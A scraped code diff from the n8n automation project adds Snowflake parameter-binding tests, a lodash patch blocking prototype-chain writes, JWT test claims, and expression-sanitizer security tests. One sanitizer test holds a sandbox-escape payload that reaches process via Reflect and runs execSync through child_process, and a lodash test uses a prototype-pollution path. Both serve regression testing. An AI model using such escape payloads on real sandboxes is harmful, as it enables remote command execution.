workflowData: executeQueryWorkflow(
|
||||
'SELECT * FROM users WHERE first = ? AND last = ?',
|
||||
"Ada, O'Brien",
|
||||
),
|
||||
},
|
||||
output: { nodeData: {} },
|
||||
},
|
||||
{
|
||||
credentials: { snowflake: snowflakeCredentials },
|
||||
customAssertions() {
|
||||
expect(mockExecute).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
sqlText: 'SELECT * FROM users WHERE first = ? AND last = ?',
|
||||
binds: ['Ada', "O'Brien"],
|
||||
}),
|
||||
);
|
||||
},
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
describe('Test Snowflake, executeQuery - query parameters provided as an array', () => {
|
||||
new NodeTestHarness().setupTest(
|
||||
{
|
||||
description: 'binds each array entry positionally',
|
||||
input: {
|
||||
workflowData: executeQueryWorkflow(
|
||||
'SELECT * FROM users WHERE first = ? AND last = ?',
|
||||
"={{ ['Ada', 'Lovelace'] }}",
|
||||
),
|
||||
},
|
||||
output: { nodeData: {} },
|
||||
},
|
||||
{
|
||||
credentials: { snowflake: snowflakeCredentials },
|
||||
customAssertions() {
|
||||
expect(mockExecute).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
sqlText: 'SELECT * FROM users WHERE first = ? AND last = ?',
|
||||
binds: ['Ada', 'Lovelace'],
|
||||
}),
|
||||
);
|
||||
},
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
describe('Test Snowflake, executeQuery - invalid query parameters', () => {
|
||||
new NodeTestHarness().setupTest(
|
||||
{
|
||||
description: 'errors when query parameters are neither a string nor an array',
|
||||
input: {
|
||||
workflowData: executeQueryWorkflow('SELECT * FROM users WHERE first = ?', '={{ 42 }}'),
|
||||
},
|
||||
output: {
|
||||
nodeData: {},
|
||||
error: 'Query Parameters must be a string of comma-separated values, or an array of values',
|
||||
},
|
||||
},
|
||||
{ credentials: { snowflake: snowflakeCredentials } },
|
||||
);
|
||||
});
|
||||
|
|
@ -0,0 +1,64 @@
|
|||
{
|
||||
"name": "Snowflake executeQuery - query parameters",
|
||||
"nodes": [
|
||||
{
|
||||
"parameters": {},
|
||||
"id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
|
||||
"name": "When clicking \"Execute Workflow\"",
|
||||
"type": "n8n-nodes-base.manualTrigger",
|
||||
"typeVersion": 1,
|
||||
"position": [460, 460]
|
||||
},
|
||||
{
|
||||
"parameters": {
|
||||
"fields": {
|
||||
"values": [{ "name": "q", "stringValue": "O'Brien" }]
|
||||
},
|
||||
"include": "none",
|
||||
"options": {}
|
||||
},
|
||||
"id": "b2c3d4e5-f6a7-8901-bcde-f12345678901",
|
||||
"name": "Edit Fields",
|
||||
"type": "n8n-nodes-base.set",
|
||||
"typeVersion": 3.2,
|
||||
"position": [680, 460]
|
||||
},
|
||||
{
|
||||
"parameters": {
|
||||
"operation": "executeQuery",
|
||||
"query": "SELECT * FROM users WHERE name = ?",
|
||||
"options": {
|
||||
"queryReplacement": "={{ $json.q }}"
|
||||
}
|
||||
},
|
||||
"id": "c3d4e5f6-a7b8-9012-cdef-123456789012",
|
||||
"name": "Snowflake Execute Query",
|
||||
"type": "n8n-nodes-base.snowflake",
|
||||
"typeVersion": 1,
|
||||
"position": [900, 460],
|
||||
"credentials": {
|
||||
"snowflake": {
|
||||
"id": "1",
|
||||
"name": "Snowflake account"
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
"pinData": {},
|
||||
"connections": {
|
||||
"When clicking \"Execute Workflow\"": {
|
||||
"main": [[{ "node": "Edit Fields", "type": "main", "index": 0 }]]
|
||||
},
|
||||
"Edit Fields": {
|
||||
"main": [[{ "node": "Snowflake Execute Query", "type": "main", "index": 0 }]]
|
||||
}
|
||||
},
|
||||
"active": false,
|
||||
"settings": { "executionOrder": "v1" },
|
||||
"versionId": "d4e5f6a7-b8c9-0123-defa-234567890124",
|
||||
"id": "SnowflakeExecuteQueryParameters",
|
||||
"meta": {
|
||||
"instanceId": "b888bd11cd1ddbb95450babf3e199556799d999b896f650de768b8370ee50363"
|
||||
},
|
||||
"tags": []
|
||||
}
|
||||
46
packages/nodes-base/test/lodash-set.patch.test.ts
Normal file
46
packages/nodes-base/test/lodash-set.patch.test.ts
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
import set from 'lodash/set';
|
||||
|
||||
// Guards the lodash@4.18.1 patch (patches/lodash@4.18.1.patch): while walking a
|
||||
// dot-notation path, `baseSet` reuses the value already present at a segment only
|
||||
// when it is an own property, otherwise it creates a fresh object. A segment that
|
||||
// matches an inherited member is therefore stored as plain own data instead of
|
||||
// being followed onto an object shared through the prototype chain. These tests
|
||||
// fail if the patch is ever dropped (e.g. on a lodash bump).
|
||||
describe('lodash/set patch', () => {
|
||||
const originalToStringCall = Object.prototype.toString.call;
|
||||
afterEach(() => {
|
||||
Object.prototype.toString.call = originalToStringCall;
|
||||
});
|
||||
|
||||
it('writes a top-level built-in-named segment as own data', () => {
|
||||
const obj: Record<string, unknown> = {};
|
||||
set(obj, 'toString.call', 'x');
|
||||
|
||||
// Read the global into a local and restore it before any expect(), since
|
||||
// expect()/toEqual themselves use Object.prototype.toString.call.
|
||||
const callType = typeof Object.prototype.toString.call;
|
||||
Object.prototype.toString.call = originalToStringCall;
|
||||
|
||||
expect(callType).toBe('function');
|
||||
expect(obj).toEqual({ toString: { call: 'x' } });
|
||||
});
|
||||
|
||||
it('writes a nested built-in-named segment as own data', () => {
|
||||
const obj: Record<string, unknown> = {};
|
||||
set(obj, 'a.toString.call', 'x');
|
||||
|
||||
const callType = typeof Object.prototype.toString.call;
|
||||
Object.prototype.toString.call = originalToStringCall;
|
||||
|
||||
expect(callType).toBe('function');
|
||||
expect(obj).toEqual({ a: { toString: { call: 'x' } } });
|
||||
});
|
||||
|
||||
it('preserves normal and array paths', () => {
|
||||
const obj: Record<string, unknown> = {};
|
||||
set(obj, 'a.b.c', 1);
|
||||
set(obj, 'list[0].name', 'n');
|
||||
|
||||
expect(obj).toEqual({ a: { b: { c: 1 } }, list: [{ name: 'n' }] });
|
||||
});
|
||||
});
|
||||
|
|
@ -37,6 +37,7 @@ interface ExternalJwtClaims {
|
|||
exp: number;
|
||||
jti: string;
|
||||
email: string;
|
||||
email_verified: boolean;
|
||||
given_name: string;
|
||||
family_name: string;
|
||||
role: string;
|
||||
|
|
@ -55,6 +56,7 @@ export function mintExternalJwt(overrides: Partial<ExternalJwtClaims> = {}): str
|
|||
exp: now + 300,
|
||||
jti: randomUUID(),
|
||||
email: `e2e-${id}@test.example`,
|
||||
email_verified: true,
|
||||
given_name: 'E2E',
|
||||
family_name: `User-${id}`,
|
||||
role: 'global:member',
|
||||
|
|
@ -81,6 +83,7 @@ export function mintExternalJwtWithKey(
|
|||
exp: now + 300,
|
||||
jti: randomUUID(),
|
||||
email: `e2e-${id}@test.example`,
|
||||
email_verified: true,
|
||||
given_name: 'E2E',
|
||||
family_name: `User-${id}`,
|
||||
role: 'global:member',
|
||||
|
|
|
|||
|
|
@ -1056,4 +1056,45 @@ describe('ThisSanitizer', () => {
|
|||
expect(result).toEqual({});
|
||||
});
|
||||
});
|
||||
|
||||
describe('global access via concise arrow bodies', () => {
|
||||
it('should resolve a concise arrow body identifier from the data context', () => {
|
||||
const result = tournament.execute('{{ (() => safeVar)() }}', {
|
||||
__sanitize: sanitizer,
|
||||
safeVar: 'ok',
|
||||
});
|
||||
expect(result).toBe('ok');
|
||||
});
|
||||
|
||||
it('should not expose real process members via a concise arrow body', () => {
|
||||
const result = tournament.execute('{{ typeof (() => process)().arch }}', {
|
||||
__sanitize: sanitizer,
|
||||
process: {},
|
||||
});
|
||||
expect(result).toBe('undefined');
|
||||
});
|
||||
|
||||
it('should not expose real Reflect via a concise arrow body', () => {
|
||||
const result = tournament.execute('{{ typeof (() => Reflect)().get }}', {
|
||||
__sanitize: sanitizer,
|
||||
Reflect: {},
|
||||
});
|
||||
expect(result).toBe('undefined');
|
||||
});
|
||||
|
||||
it('should not resolve host globals through arrow-captured identifiers', () => {
|
||||
expect(() => {
|
||||
tournament.execute(
|
||||
// eslint-disable-next-line n8n-local-rules/no-interpolation-in-regular-string
|
||||
"{{ ((R,p)=>R.get(p,'getBuiltinModule'))((()=>Reflect)(),(()=>process)())('child_process').execSync('id').toString() }}",
|
||||
{ __sanitize: sanitizer },
|
||||
);
|
||||
}).toThrow();
|
||||
});
|
||||
|
||||
it('should not rewrite arrow parameters used in a concise body', () => {
|
||||
const result = tournament.execute('{{ ((x) => x)(42) }}', { __sanitize: sanitizer });
|
||||
expect(result).toBe(42);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
26
patches/lodash@4.18.1.patch
Normal file
26
patches/lodash@4.18.1.patch
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
diff --git a/_baseSet.js b/_baseSet.js
|
||||
index 99f4fbf9c347a74594f975df62ee353d06c85c55..316f9e8b537e294230c5123789c224c41a7034e8 100644
|
||||
--- a/_baseSet.js
|
||||
+++ b/_baseSet.js
|
||||
@@ -37,7 +37,7 @@ function baseSet(object, path, value, customizer) {
|
||||
var objValue = nested[key];
|
||||
newValue = customizer ? customizer(objValue, key, nested) : undefined;
|
||||
if (newValue === undefined) {
|
||||
- newValue = isObject(objValue)
|
||||
+ newValue = isObject(objValue) && Object.prototype.hasOwnProperty.call(nested, key)
|
||||
? objValue
|
||||
: (isIndex(path[index + 1]) ? [] : {});
|
||||
}
|
||||
diff --git a/lodash.js b/lodash.js
|
||||
index 8634cab16747f81f9336d1a231dc501af460179d..b1939f267103be4e76b4828b37472797f4859632 100644
|
||||
--- a/lodash.js
|
||||
+++ b/lodash.js
|
||||
@@ -4045,7 +4045,7 @@
|
||||
var objValue = nested[key];
|
||||
newValue = customizer ? customizer(objValue, key, nested) : undefined;
|
||||
if (newValue === undefined) {
|
||||
- newValue = isObject(objValue)
|
||||
+ newValue = isObject(objValue) && Object.prototype.hasOwnProperty.call(nested, key)
|
||||
? objValue
|
||||
: (isIndex(path[index + 1]) ? [] : {});
|
||||
}
|
||||
851
pnpm-lock.yaml
851
pnpm-lock.yaml
File diff suppressed because it is too large
Load Diff
|
|
@ -134,7 +134,7 @@ catalog:
|
|||
eslint-plugin-n8n-nodes-base: ^1.16.7
|
||||
express: 5.1.0
|
||||
fast-check: ^3.23.2
|
||||
fast-glob: 3.2.12
|
||||
fast-glob: 3.3.3
|
||||
fast-json-patch: ^3.1.1
|
||||
fastest-levenshtein: 1.0.16
|
||||
fflate: 0.8.3
|
||||
|
|
|
|||
Loading…
Reference in New Issue
Block a user